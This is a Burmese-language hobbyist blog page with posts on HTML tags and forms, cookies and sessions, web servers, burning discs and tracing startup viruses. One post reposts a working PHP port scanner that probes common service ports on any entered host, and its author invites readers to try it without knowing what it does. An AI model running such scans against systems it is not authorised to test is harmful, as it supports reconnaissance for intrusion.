Thursday, August 13, 2015

Html Css Note

0 comments

က်​ေတာ္​႐ွမ္​းျပန္​တံုးက မွတ္​ထားတဲ့note​​ေလး​ေတြ
အက်ိဳး႐ွိမယ္​ထင္​လုိ႔ တင္​​ေပးလိုက္​ပီဗ်ိဳ႕ :-)

aqua, black, blue, fuchsia, gray, green, lime, maroon, navy, olive, purple, red, silver, teal, white, and yellow
********
စာေရးျခင္း*
********
အန္းတားေခါက္တာနဲ႕ေနာက္တစ္ေျကာင္းအလုိလို ဆင္းျခင္ရင္ pre ကိုသံုး

<hr width="30%" align="center" size="3" noshade color="#0000FF" /> လိုင္းတစ္ေျကာင္းသားျခင္း


စာေျကာင္းတစ္ေျကာင္းဆင္း <br/>
<nobr> စာေတြ

fax မွာ pointer  ေထာက္တာနဲ႕ facsmile လို႕ျပေစမယ္
<abbr title="facsimile">fax</abbr>

<cite>citation text</cite>က်မ္းကိုးကားခ်က္ေတြမွာသံုး

<font>color, face, font-weight, point-size, size
font-weight မ်ားေလ bold မ်ားေလ

"" ေလးထည့္ေပးခ်င္ရင္
<q cite="http://www.worldwidemyanmar.com/">To be or not to be.</q>

၂ square ကိုသံုးခ်င္ရင္<sup> ေအာက္ကိုထားခ်င္ရင္<sub>

html code ေတြျပန္လည္ေဖာ္ျပဖို႕<code>

စာလံုးကိုအလယ္ကျဖတ္ခ်င္ရင္<s>

<tt> text ေတြကို fix  ျဖစ္ေအာင္လုပ္ျခင္း

စာသားနည္းနည္းျကီးသြားတယ္
<body> Big Text <br/> <big>Big Text</big> </body>

စာလံုး သတ္မွတ္ <dnf><em>

စမ္ပယ္<samp>

အေလးအနက္ထားေျပာျကားျခင္း<strong>

စာသားေတြကို မွိတ္လိုက္ဖြင့္လိုက္လုပ္ျခင္ရင္<blink>

<kbd>ယူစာက ကီးဘုတ္ကေနပီးေတာ့ ဒလိကီးကိုရို္က္ေပးဖို႕ေျပာခ်င္ရင္သံုး
<body> <p>Hold down <kbd>CTRL</kbd>, <kbd>ALT</kbd>, and <kbd>DELETE</kbd>, then select Task Manager</p> </body>

#=============#
#bullet and numbering #
#=============#
<ul><ol><dl> သံုးခုပါ၀င္တယ္
<dl> definition list
========
<dl>
<dt>Term 1</dt>
<dd>Term 1 definition</dd>
<dt>Term 2</dt>
<dd>Term 2 definition</dd>
</dl>
<ol>order list
========
<ol>
<li>List item 1</li>
<li>List item 2</li>
<li>List item 3</li>
</ol>

unorder list<ul>

စိတ္ျကိုက္ျပင္ဆင္ျခင္း
<ol type="A" start="3">
ဘူးလတ္ကေလးေတြဘယ္ကစတတ္ခ်င္လည္း start="3"ဒီမွာထည့္
none [no marker is used] A [capital letters] a [lower-case letters] I [large roman numerals] i [small roman numerals] upper-alpha [capital letters] lower-alpha [lower-case letters] upper-roman [large roman numerals] lower-roman [small roman numerals] decimal [integer numbering - DEFAULT] disc [default solid bullet]
square [solid square] circle [hollow bullet] round [hollow bullet]
<!--your text -->

pointer ေထာက္တာနဲ႕ စာသားထြက္လာျခင္ရင္
+++++++++++++++++
<p><abbr title="Myo Thant Kyaw">Thar Thar</abbr>was born in 1996</p>
<base />
****
လကးရွိ Page တြငးရွိေသာ Link အာ့လုဵ့ရဲ႕ Default Address သတးမွတး။
eg
<head>
<base href="http://www.worldwidemyanmar.com/images/" /> <base target="_blank" />
</head>

<link /> Document နဲ႔ ၿပင္ပက Css ဖိုင္နဲ႕ခ်ိတ္ရင္သံုး
********
<head>
<link rel="stylesheet" type="text/css" href="style.css" />
</head>

<meta /> html document နဲ႕ပတ္သတ္တဲ့အေျကာင္းအရာမ်ား
********
<style> document sytle သတ္မွတ္
******
<head>
<style type="text/css">
h1 {color:red}
p {color:blue}
</style>
</head>





##########
#Form Element#
##########

body element
********
Form
===
<form method="get" action="http://www.worldwidemyanmar.com/query" enctype="application/x-www-form-urlencoded">
<input type="password" name="brb" /> </form>

<button>
====
<button type="submit" name="helpbutton" tabindex="1">
<img src="helpicon.gif" align="middle" /> Get the
<strong>HELP</strong> that you need here... </button>

<label>
====
<fieldset>
<legend accesskey="G" tabindex="1">Gender</legend>
<label accesskey="M"><input type="radio" name="Gender" value="Male"/>Male</label> <br />
<label accesskey="F"><input type="radio" name="Gender" value="Female" />Female</label>
</fieldset>

<option>(ျကိုက္နွစ္သက္ရာေရြးခ်ယ္ခိုင္းတာပါ)
=====
<form>
<select name="list1" size="3" multiple>
<option value="opt1">option1 </option>
<option value="opt2">option2 </option>
<option selected value="opt3">option3 </option>
</select>
</form>

<fieldset>(groug ထဲမွာေရဒီယိုေရြးျခင္း)
=========
<fieldset>
        <legend accesskey="G" tabindex="1">Gender</legend>
      <label accesskey="M"><input type="radio" name="Gender" value="Male" />Male</label> <br />
          <label accesskey="F"><input type="radio" name="Gender" value="Female" />Female</label>

<legend>
+++
<fieldset> <legend accesskey="G" tabindex="1">Gender</legend> <label accesskey="M"><input type="radio" name="Gender" value="Male" />Male</label> <br /> <label accesskey="F"><input type="radio" name="Gender" value="Female" />Female</label> </fieldset>

<select>(content value ေတြကို ျပ ျခင္း multiple and single)
=====
<form>
     <select name="list1" size="3" multiple>
      <option value="opt1">option1 </option>
       <option value="opt2">option2 </option>
      <option selected value="opt3">option3 </option>
</select>
</form>

selection list ေတြကို group လုပ္<optgroup>
========
<form>
    <select name="list1" size="3" multiple> 
    <option value="opt1">option1 </option>
     <option value= "opt2">option2 </option>
      <option selected value="opt3">option3 </option>
</select>
</form>

<textarea>(text box တစ္ခုတည္ေဆာက္တာပါ)
======
<form>
<textarea name="brb" rows="3" cols="40"> Default TEXTAREA value goes here </textarea>
</form>
###########
#Input Type မ်ား#
###########
button
=====
<form>
<input type="button" value="Submit" name="brb" onClick="test1(this.form)" /> <input type="reset" value="Reset" />
</form>

radio
====
<form>
<input type="radio" value="Jazz" name="Radio1" /> Jazz<br />
<input type="radio" value="New Age" name="Radio1" /> New Age<br />
<input type="radio" value="Rock" name="Radio1" checked />Rock!<br />
</form>

reset(form ထဲကစာမ်ားကိုရွင္း )
===
<form>
<input type="reset" value="clear the form" />
</form>

CheckBox(အမွန္ခ်စ္တက္ျခင္း
======
<form>
<input type="checkbox" value="3" name="brb" checked />
<input type="checkbox" value="3" name="brb" />
<input type="checkbox" value="3" name="brb" checked />
</form>

image(button အစားimage ထည့္သံုးးျခင္း)
=====
<form>
<input type="image" src="http://www.planetcreator.net/images/pnc.png" name="imagesubmit1" align="top" height="50" width="50" />
</form>

range(text box ထဲတြင္ number ထည့္သံုးျခင္း)
=====
<form>
<input name="r" type="range" min="1" max="11" value="9">
<input type="submit" value="Go">
</form>

ွSubmit
=====
<form>
<input type="submit" value="Submit" />
</form>

file(browse button ဖန္တီးျခင္း)
+++
<form method="post" action="action.cgi" enctype="multipart/form-data">
<input type="file" name="filename" />
</form>

password
======
<form>
<input type="password" name="thepassword" />
</form>

readonly(textbox ထဲမွာစာသားျပျခင္း )
=======
<form>
<input type="readonly" name="ron" value="Readonly Value" />
</form>

text
===
<form>
<input type="text" value="brb was here" name="text1" size="10" maxlength="25" /> </form>




=====
#Table#
=====
<table align=?> ------center, left,right
<table background=?>--images
=========
<table background="flower.gif"

<table cellpadding=?>--Values=integers(cell တစ္ခု ရဲ႕ေဘာင္ေတြရဲအကြာအေ၀းကိုက်ဲေပးျခင္း)
=======
<table width="224" border="1" cellpadding="20" cellspacing="10" bordercolor="#0000FF">

table bordercolor=?
========

<table bordercolordark=?>(3d ေဘာ္ဒါကာလာ)

<table bordercolorlight=?>(၃dအေရာင့္ေဖ်ာ့္မယ္)

<table cols=?>(မိမိ ေတဘယ္ထဲမွာ ေကာ္လံဘယ္နွစ္ခုရွိလည္းျပျခင္း)
<TABLE WIDTH="600" COLS="4" BORDER="1" >

COLSPAN(colouum ေတြေပါင္းျခင္း)
<TR>
<TH COLSPAN="2">LEFT</TH>
<TH COLSPAN="2">RIGHT</TH>
</TR>

<caption>(table ကိုေခါင္းစဥ္ေပးဖို႕)
======
<table border="2" align="left" cellpadding="5" bordercolor="#ff0000" width="75%">
<caption align="top">Juggling Capabilities of WaterfrontPerformers
</caption>
</table>

<thead><tfoot>
======
<table border="2" align="left" cellpadding="5" bordercolor="#ff0000" cols="4" frame="vsides" rules="rows" width="75%">
<caption align="top">Juggling Capabilities of Waterfront Performers</caption>
<thead> <tr> <th>Juggler</th> <th>Pins</th>
<th>Bowling Balls</th>
<th>Flaming Baseballs</th> </tr> </thead> <tfoot> <tr> <th colspan="4">NOTE: This is only a small sample</th> </tr>
</tfoot> <tbody> <tr> <td>brb</td> <td>5</td> <td>2</td> <td>5</td> </tr> <tr> <td>bob</td> <td>2</td> <td>7!!!</td> <td>NA</td> </tr> <tr> <td>neo</td> <td>2</td> <td>7!!!</td> <td>NA</td> </tr> <tr> <td>U Maung Tin</td> <td>1</td> <td>2</td> <td>20<br>( he is great!)</td> </tr> </tbody> </table>

<col><colgroup>(ေတဘယ္ေကာ္လန္ေတြ ၈၇ုဖြဲ႕ျခင္း)
<span>
====
<html>
<head>
<title>Style Sheets by WWM</title>
<style type="text/css">
span.test {color: #ff0000}
</style>
</head>
<body>
<p>This is just demostration for
<span class="test">Style Sheet in Body Elements </span>
by WWM</p>
</body>
</html>







<div>
====
<div align="right" class="greensection" style="color: lime">div text</div>
<div align=?>------ <div align=”center”> or <div align=”left”> or
<div align=”right”> or <div align=”justify”>

<div width=?> <div width=”2”> , Pixel or Interger Value

<div height=?> <div height=”2”> , Pixel or Interger Value





########################
#sound ,bgsound,img,area,map,object#
########################
<img> src နဲ႕ alt နွစ္ခုရွိ
<div align=center>
<img src="http://www.planetcreator.net/images/pnc.png" alt="PlanetCreator"> Be Right Back
<img src="my-computer.png" alt="Computer"> My Computer
</div>

<img align=?>-----Left | Right | Top | Texttop | Middle | Absmiddle | Baseline | Bottom | Absbottom

<img width=?> <img height=?>-------

<img vspace=?> <img hspace=?>----<img src="my-computer.png" alt="Computer" hspace=”50” vspace=”20”>

img border=?>------
img usemap=>-------

web ဖြင့္ခ်ိန္ သခ်င္းသံျကားခ်င္ရင္
<bgsound src="http://www.worldwidemyanmar.com/i-want-to-understand-u.mp3" loop="infinite" delay=”5” />
depayက webဖြင့္ဖြင့္ျပီးအခ်ိန္ဘယ္ေလာက္ျကာမွာဖြင့္မွာလည္း

<map> သံုးမ်ိဳးရွိ
rect ,circle, poly
coords မွာ rect........left-x,top-y,bottom-y
circle-----center-x,center-y,radius
poly--------x1,y1,x2,y2,..xn,yn




<object >
အျခားေသာhtml  embedded content ေတြမွာအစားထိုးသံုးတယ္
APPLET, EMBED, BGSOUND, SOUND and IMG elementsေတြရဲ႕ကိုယ္စားသံုးလုိ႕ရတယ္
<object codetype="application/java-vm"
codebase="http://www.worldwidemyanmar.com/applet.class" classid="java:program.start" height="100" width="100"> <param name="options" value="xqz" /> If you can read this you are too close.<br /> AND your browser does not support Java. </object>

object attribute-----codebase codetype classid

*********************************************
ရိုက္ထည့္ထားတဲ့ content ေတြကို ပံုစံခ်ဖို႕လုပ္ေဆာင္ေပတယ္ *
*********************************************
<Address>လိပ္စာအတြေရးဖို႕
<body>
<address>1234 Nowhere St.<br />Anywhere, State 00001-9999</address>
</body>

<p align="right"> ..</p>

<marquee>
+++++++
marquee မွာ behavior, direction, bgcolor, height, width, loop, vspace, scollldelay ေတြပါ၀င္

behavior
****
scroll , slide, alternate
<marquee behavior="slide" direction=”left”>Your scrolling text goes here</marquee>
direction ေျကာင့္ဘယ္ဘက္ေရာက္ရင္ရပ္

scrollaumount
******
<marquee behavior="scroll" direction="left" scrollamount="10">Medium scroll speed</marquee>
loop
*****
<body> <marquee behavior="scroll" direction="left" loop="1">Scroll Loop</marquee> </body>
တစ္ျကိမ္ေရြဲျပီးေျပာက္ကြယ္

scrolldelay
++++
<body> <marquee behavior="scroll" direction="left" scrolldelay="400">ScrollDelay</marquee> </body>

maqquee code အလန္းေလးမ်ား
_______________________

<body> <marquee behavior="scroll" direction="right"><marquee behavior="scroll" direction="up">Up up and away!</marquee></marquee> </body>

<htm>




<body> <marquee style="z-index:2;position:absolute;left:18px;top:97px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:200px;"scrollamount="3" direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:1px;top:89px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:100px;"scrollamount="7" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:111px;top:7px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:302px;"scrollamount="4" direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:225px;top:83px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:435px;"scrollamount="3" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:105px;top:53px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:432px;"scrollamount="2" direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:168px;top:69px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:369px;"scrollamount="1" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:130px;top:117px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:289px;"scrollamount="7" direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:176px;top:57px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:78px;"scrollamount="7" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:16px;top:57px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:56px;"scrollamount="5" direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:300px;top:86px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:194px;"scrollamount="2" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:292px;top:10px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:251px;"scrollamount="6" direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:278px;top:74px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:154px;"direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:241px;top:72px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:82px;"direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:276px;top:32px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:70px;"scrollamount="3" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:272px;top:15px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:334px;"direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:90px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:167px;"scrollamount="7" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:275px;top:108px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:420px;"scrollamount="7" direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:22px;top:76px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:12px;"scrollamount="7" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:89px;top:54px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:366px;"scrollamount="2" direction="down">Scrolling text</marquee><marquee style="z- index:2;position:absolute;left:26px;top:72px;font-family:Cursive;font-size:14pt;color:#FF8C48;height:358px;"scrollamount="1" direction="down">Falling text</marquee><marquee style="z- index:2;position:absolute;left:3px;top:44px;font-family:Cursive;font-size:14pt;color:#ffcc00;height:130px;"scrollamount="3" direction="down">Scrolling text</marquee> </body>


</html>

********************************************
ၤFrameset web အတြင္းမွာ အပိုင္းေလးေတြသတ္မွတ္ခ်င္ရင္သံုး*
*********************************************
frameset မွာပါတာက
cols
***
<frameset cols="{ number | percentage | * } ,…" rows="{ number | percentage | * } ,…"> </frameset>
cols ကို number

<frame>
******
<frame name="content" src="content.html" marginheight="0" marginwidth="0" scrolling="auto" noresize>
<frameset> ထဲက အပိုင္းေလးေတြေခၚယူဖို႕ပါ
nresize ဆိုတာ frame ကိုိစြဲျခံုတာေတြမလုပ္ဖို႕ပါ

#ရပ္​​ေစာက္​သား

Php port scanner

0 comments

Myanmar security forum က​ေတြ႕လို မလာတယ္​ဗ်
Port scanner with php တဲ့
တား​ေတာ့ဘာမွန္​းကိုမသိဘူး
သိသူမ်ားစမ္​းၾကည္​့ၾကပါဗ်ိဳ႕:-)

#ရပ္​​ေစာက္​သား

<html>
<head>
<title>Port Scanner</title>
</head>
<form method="post" >
Domain name/IP:
<input type="text" class = text name="domain" />
<input type="submit" class="s" value="Scan" />
</form>
<style type="text/css">
.text {
font-weight:400;
color:#000;
letter-spacing:1pt;
word-spacing:2pt;
font-size:12px;
text-align:left;
font-family:arial, helvetica, sans-serif;
line-height:1;
}
.s {
-moz-box-shadow:inset 0 1px 00 #9acc85;
-webkit-box-shadow:inset 0 1px 00 #9acc85;
box-shadow:inset 01px 0 0#9acc85;
background:linear-gradient
(tobottom,#74ad5a5%,#68a54b100%);
filter:progid:DXImageTransform.Microsoft.gradient
(startColorstr='#74ad5a',endCol​
orstr='#68a54b',GradientType=0);
background-color:#74ad5a;
border:1px solid#3b6e22;
display:inline-block;
color:#fff;
font-family:arial;
font-size:13px;
font-weight:700;
text-decoration:none;
padding:6px 12px;
}
.s:hover {
background:linear-gradient
(tobottom,#68a54b5%,#74ad5a100%);
filter:progid:DXImageTransform.Microsoft.gradient
(startColorstr='#68a54b',endCol​
orstr='#74ad5a',GradientType=0);
background-color:#68a54b;
}
.s:active {
position:relative;
top:1px;
}
<br />
<?php
if(!empty($_POST['domain'])) {
//ports
$ports= array(20, 21, 22, 23, 25, 53, 443, 143, 80, 109, 110,
1433, 1434, 156, 994);
$results =array();
foreach($ports as $port) {
if($pwn = @fsockopen($_POST['domain'], $port, $str,
$str_string, 1)) {
$results[$port] =true;
fclose($pwn);
} else {
$results[$port] =false;
}
}
foreach($results as $port=>$val) {
$port= getservbyport($port,"tcp");
echo "Port $port($port): ";
if($val) {
echo "<span style=\"color:green\">Opened</span><br/>";
}
else {
echo "<span style=\"color:red\">Closed</span><br/>";
}
}
}
?>
</html>
scanner.php save shell
....
...
PHP ....

Ref Myanmar Security Forum

Wednesday, August 12, 2015

Cookie န​ဲ့ sessionအ​ေၾကာင္​း

0 comments

Cookies and session
**********************
မသိတဲ့ေသးသူေတြတြက္ပါဗ်ာ
Cookie နဲ႔ sessionဆိုတာ မ်ိဳးကလကားေနရင္းဒီတိုင္းေရာက္လာတယ္ ထင္ေနမွာဆိုးလို႔
တေန႔က အကိုတစ္ေယာက္ ေျပာေနတာေတြ႕မိလို႔ဗ်
:-)

Cooki နဲ႔ sessionက တကယ္ေတာ့ တူတဲ့ဘက္ကၾကည့္ရင္ တူပီးေတာ့
မတူတဲ့ ဘက္ကၾကည့္ရင္လည္းလံုး၀မတူဘူးဗ်

တူတာမတူတာေနာက္မွ႐ွင္းျပမယ္ cookie ဘာလို႔ သံုးရလည္းဆိုတာေလးအရင္ေျပာျပမယ္
ဥပမာဗ်ာ က်ေတာ္က web site ကိုယ္ပိုင္siteတစ္ခုေပါ့
ေရးထားတယ္ဆိုပါေတာ့
userကလာပီ လာၾကည့္ပီေပါ့ :-)
က်ေတာ့္ဆိုက္မွာက login ၀င္မွာ full storyစာကိုအျပည့္ေပးဖတ္မွာ သာမန္ၾကည့္ရံုဆိုရင္ေတာ့ အျမည္းပဲရမယ္ေပါ့ ဟဲဟဲ

အဲ့အခ်ိန္မွာ userက စာကိုအျပည့္ဖတ္ခ်င္ေတာ့
Registerလုပ္ပီ
လုပ္ပီးက်ေတာ္ကသူ႔ user name
Password
သူ႔နဲ႔ပတ္သတိတဲ့ id ပါတသ္ခါထည္းသိမ္းထားလိုက္မယ္

အဲ့အခ်ိန္မွာ ပဲ သူဟာ login လုပ္ထားသလားမလုပ္ထားသလားဆိုတာကိုသိဖို႔
သူ႔ရဲ႕ idကို cookie or sessionထဲသြားထည့္ထားလိုက္မယ္
ဒီcookieထဲမွာ ဒီuser idသာ႐ွိေနမယ္ဆိုရင္ သူ႔ကို
စာကိုfull storyေပးဖတ္မယ္
မ႐ွိရင္ေတာ့ registerလုပ္ပါေပါ့ :-)

တခ်ိဳ႕ဆိုက္ေတြက user name ေကာ passwordေကာ cookieထဲသိမ္းထားတတ္တယ္
အဲ့အခ်ိန္မွာ attackerက ဒီcookieကိုယူပီး
User name နဲ္passကို ယူမွာေပါ့
တခ်ိ့က်ေတာ့လည္း
Username passwordကို variable နဲ႔လက္ခံပီး အဲ့
Variableေလးကိုပဲ cookie or session ထဲသြားထည့္ထားတာ္
Securityအရေပါ့
ဒီusername password or idသိမ္းဖို႔ပဲ
Cookie or sessionသံုးတာမဟုတ္ဘူးေနာ္
Developerတစ္ေယာက္က သူ လိုရင္လိုသလို cookieနဲ႔ထိမ္းတတ္တယ္
ဥပမာ

ဗ်ာ က်ေတာ္တို႔ supermarket တစ္ခုကိုသြားလိုက္တယ္
အဲ့မွာက်ေတာ္ကလိုခ်င္တာကိုျခင္းယူပီးျခင္းထဲထည့္ထားလိုက္တယ္

ေနာက္ဆံုးစိတ္တိုင္းက်မွ က်ေတာ္ counterမွာ႐ွင္းမယ္ေပါ့

Web siteတစ္ခုမွာေစ်း၀ယ္ရင္လည္း အဲ့လိုပဲ
Add to cart ဆိုတာေလး
ဥပမာ နာရီေရာင္းမယ္ဆိုပါေတာ့ web siteေပၚကေနေပါ့
ကိုယ္ႀကိဳက္တဲ့ နာ႐ီေတြကို add to cartႏွိပ္မယ္ လိုခ်င္တာေတြႏွိပ္မယ္
ေနာက္ဆံုးမွသူ႐ွင္းဖို႔
အဲ့အခ်ိန္မွာ
User click သြားတဲ့ နာ႐ီရဲ႕ idေတြ ကို cookieထဲသြားသြားထည့္မယ္
သူမႀကိဳက္လို႔ျပန္ျဖဳတ္မယ္ဆိုရက္လည္း
Cookieကေနေလ်ွာ့လိုက္ယံုပဲ

ဒီေနရာမွာလည္း cookie နဲ႔ sessionသံုးပါတယ ္
:-)

Cookie ေကာ sessionေကာႏွစ္ခုလံုးက အေပၚ
ေျပာတဲ့ဥပမာေတြမွာသံုးလို႔ရပါတယ္

တူတယ္ေပါ့
မတုတာက
Cookieကို အခ်ိန္သတ္မွတ္ပီးျဖတ္လို႔ရတယ္
Cookieတစ္ခုကိုသက္တန္းသတ္မွတ္လို႔ရတယ္

သူသတ္မွတ္တဲ္အခ်ိန္ေရာက္ရင္ေတာ့ျပက္ သြားမွာ

Sessionကေတာ့ browserကို closeတာနဲ႔ ေျပာက္သြားတာပဲ :-)

တားကိုေတာ့ ဘာေကာင္ႀကီးမွမထင္နဲ႔ဘာမွမတက္ဘူးဗ်

သိသလိုေရးထားတာမလို႔မွားေကာင္းမွားႏိုင္ပါတယ္ဗ်
:-)
#ရပ္​​ေစာက္​သား

ဘာ​ေစာ့၀ဲမွမသံုးပဲ​ေခြဘန္​းနည္​း

0 comments

ေခြဘန္းဖို႔ တခ်ိဳ႕က nero တို္ တျခား appေတြသံုးမွဘန္းရတယ္ထင္ေနတာ

တကယ္ေတာ့ win xp မွာဆို
ဘန္းခ်င္တဲ့ fileေတြselectမွတ္
right click
Sent to
ကေန dvd driveကိုေရြးေပး
ပီးရင္ my computerကိုသြား
Dvdကိုတစ္ခ်က္ကလစ္ပီး
ဘယ္ဘက္အေပၚနားက file>write this file to cd
ကလစ္
ပီးရင္burn disc

Win 7မွာေတာ့
My computerကိုရလစ္တာနဲ႔ ထိပ္မွာburn to disc ဆိုတာေလးကေနသြားကလိလို႔ရပီ
:-)

#ရပ္​​ေစာက္​သား

လာခဲ့တဲ့ pageကိုျပန္​သြားနည္​း with java script

0 comments

အကို
တစ္ေယာက္က်ေတာ့္ကိုလာေမးတယ္
သူ ့web siteမွာ သူ က page တစ္ခုကို၀င္တာနဲ႔
Back ဆိုတဲ့ button ေလးထားပီး
လာခဲ့တဲ့ေနရာကိုျပန္သြားခ်င္တယ္တဲ့

အဲ့တာနဲ႔က်ေတာ္စစဥ္းစားတယ္
Java scriptနဲ႔ အရင္ဆံုး ဘယ္pageကေနလာမလည္းဆိုတာကို
Noteတစ္ခုယူပီးသြားမွတ္ထားမယ္ေပါ့
ပီးမွ သူသြားခဲ့တဲ့pageကေန back buttonကို ကလ္စ္တဲ့အခ်ိန္မွာ မွန္ထားတဲ့လင့္ကိုသြားေခၚလိုက္မယ္ေပါ့

ဒါေပမဲ့ web က off lineျဖစ္ေနေတာ့ directoryကိုေျပာင္းျပန္ႀကီးေပးေနရမွာ

မေပးတတ္ဘူးေပါ့ဗ်ာ ဟဲဟဲ
အဲ့တာနဲ႔ googleကိုလစ္မွ
ပဲ 
ကိုယ့္ကိုပိန္းမွန္းသိေတာ့တယ္
Back ကိုႏွိပ္တဲ့အခ်ိန္မွာ
window.history.back()
ဆိုတဲ့methodေလးေခၚလိုက္တာနဲ႔ရေနတာကို

က်ေတာ့္မယ္လွည့္ပတ္ပီးစဥ္းစားေနတာ
ရီခ်င္စရာႀကီး ဟဟ
#ရပ္​​ေစာက္​သား

Web Sever And Database

0 comments

Web Sever and Database
*******************
Sever ဆိုတာကိုက်ေတာ္နားလည္သလို ပဲ ေျပာျပပါ့မယ္
ဗ်ာ  အက္ုတစ္ေယာက္ php အေၾကာင္းကေန
Severဘက္ေျပာင္းပီးေမးထားလို႔ :-)
က်ေတာ္သိသလိုေျပာမွာမလို႔ မွားေကာင္းမွားႏိုင္ပါလိမ့္မယ္
:-)
အရင္ဆံုး
ခုသံုးေနတဲ့ facebook ေပၚကို ပံုတစ္ပံုတင္
လိုက္ပီဆိုတာနဲ႔ အဲ့ပံုက
သူ႔ databaseထဲေရာက္သြားေရာ
အဲ့data baseေကာ facebook ကပို႔တဲ့ပံုကို
ေကာ ႏွစ္မ်ိဳးလံုးတစ္ခါထည္း လက္ခံႏိုင္ေအာင္
Sever
ေပၚမွာrun ေပးရတယ္ေပါ့ ဗ်ာ
ဥပမာ
က်ေတာ အခု sign in လုပ္တဲ့ web pageတစ္ခုေရးေနတယ္ဆိုပါေတာ့
Sign in ဆိုတဲ့သေဘာတိုင္း
User nameနဲ႔ passwordကိုေသခ်ာေပါက္ေတာင္းရေတာ့မယ္
အဲ့အခ်ိန္မွာ userက user name နဲ႔ passwordထည့္လိုက္တယ္

ဒီuser nameနဲ႔ passwordကို တူသလားဆိုပီးေသခ်ာေပါက္စစ္ရေတာ့မယ္
အဲ့မွာ usernameနဲ႔ password ကို စစ္ဖို႔တြက္
ႀကိဳတင္သိမ္းထားတဲ့ ေနရာကို databaseလို႔ ေခၚပါတယ္
(
Username passwordတင္မဟုတ္ဘူး
တျခားစာသားေတြလည္းသိမ္းလို႔ရပါတယ္
ပံုေတြ ဖိုင္ေတြေတာ့မရပါ
Fb ကေနပံုတစ္ပံုuploadလုပ္လိုက္ရင္ databaseမွာသြားသိမ္းတာမဟုတ္ဘူးဗ်
သူသတ္မွတ္ထားတဲ့ director(folder)တစ္ခုခုမွာသ္ိမ္းတာ
အဲ့ပံုကိုျပန္ျပခ်င္ေတာ့ php codeနဲ႔ ဒီdatabaseထဲကဒီtableထဲက uploadfolderထဲက
Phpot.jpgကိုျပပါဆိုပီးေရးထားတာပါ
:-)
)
Databaseထဲမွာ က usernameနဲ႔ ခု user ႐ိုက္လိုက္တဲ့ databaseနဲ႔ တူရမယ္
Databaseထဲက passwordနဲ႔user ႐ိုက္လိုက္တဲ့passwordတူရမယ္
ႏွစ္ခုတူရင္ သူ႔ကို siteတြင္းကို၀င္ခြင့္ေပးလိုက္ပီေပါ့ :-)
(Databaseထဲမွာ username နဲ႔ passwordကို sign up လုပ္တံုးကသိမ္းထားပါသည္)

User ထည့္တဲ့ usernameနဲ႔. Passwordရဲ႕ databaseနဲ႔
Database ထဲက username passကိုတိုက္စစ္ဖို႔တြက္
Php codeေတြကို ၾကားခံrunေပးႏိုင္တဲ့ ေကာင္ကို
Web severလို႔ေခၚပါတယ္
Web severေတြက onlineမွာလည္းအမ်ားႀကီးပါ
Offlineမွာလည္း တူတူပါပဲ
ဥပမာ xamppလိုဟာမ်ိဳးေပါ့
သူ႔ထဲက mysql database႐ွိတယ္အဲ့မွာdatabaseေဆာက္လို႔ရတယ္
အဲ့ထဲကdataေတြကို php codeနဲ႔ သြင္းတာထုတ္တာလုပ္လို႔ရတယ္
အဲ့တာoff line web severေပါ့

Online web severမဖ်ာက်ေတာ္သိတာေတာ့
Cpanel
သူ႔ထဲမွာ host (data သံုးႏိုင္တဲ့ပမာဏ)
Mysql (databaseေဆာက္ဖို႔တြက္)
Html or web programming editoe(web soteျဖစ္ေျမာက္ဖို္codeေတြကိုနားလည္တဲ့window application pplicationသေဘာမ်ဳိး appေလးတစ္ခုေပါ့)
တျခားseverေတြလည္းအမ်ားႀကီးပါပဲ
Communication sever
Game sever
Application sever
Ect..
ဟဲဟဲ မွားရင္လည္း ေတာင္းပန္တယ္ ဗ်ာ
#ရပ္​​ေစာက္​သား

Trace Virus

0 comments

Trace virus
************
Virusတစ္ေကာင္ရဲ႕ ပထမဆံုးအလုပ္လုပ္မွာ က
Window စတက္တက္ခ်င္းမွာလုပ္မယ္လို႔ထင္တာပဲဗ်
အဲ့ေတာ့ run boxမွာ msconfig ႐ိုက္ပီးအန္းတားေခါက္
Setupကိုသြား
အဲ့မွာ virusျဖစ္ႏိုင္မဲ့ setup ေပၚမွာ
Pointerေလးတင္ၾကည့္
Registry partကိုျပလိမ့္မယ္
ပီးရင္အဲ့setupရဲ႕ pathကိုအမွန္ခ်စ္ျဖဳတ္
Apply
Ok
Restartခ်ခိုင္းရင္မခ်ေသးနဲ႔ဦး
Runမွာ regedit႐ိုက္ပီးအန္းတားေခါက္
ခုနက registry pathတိုင္းသြား
အဲ့မွာ ေတြ႕ရင္
သူ႔ရဲ႕valueမွာ ၾကည့္
C \window
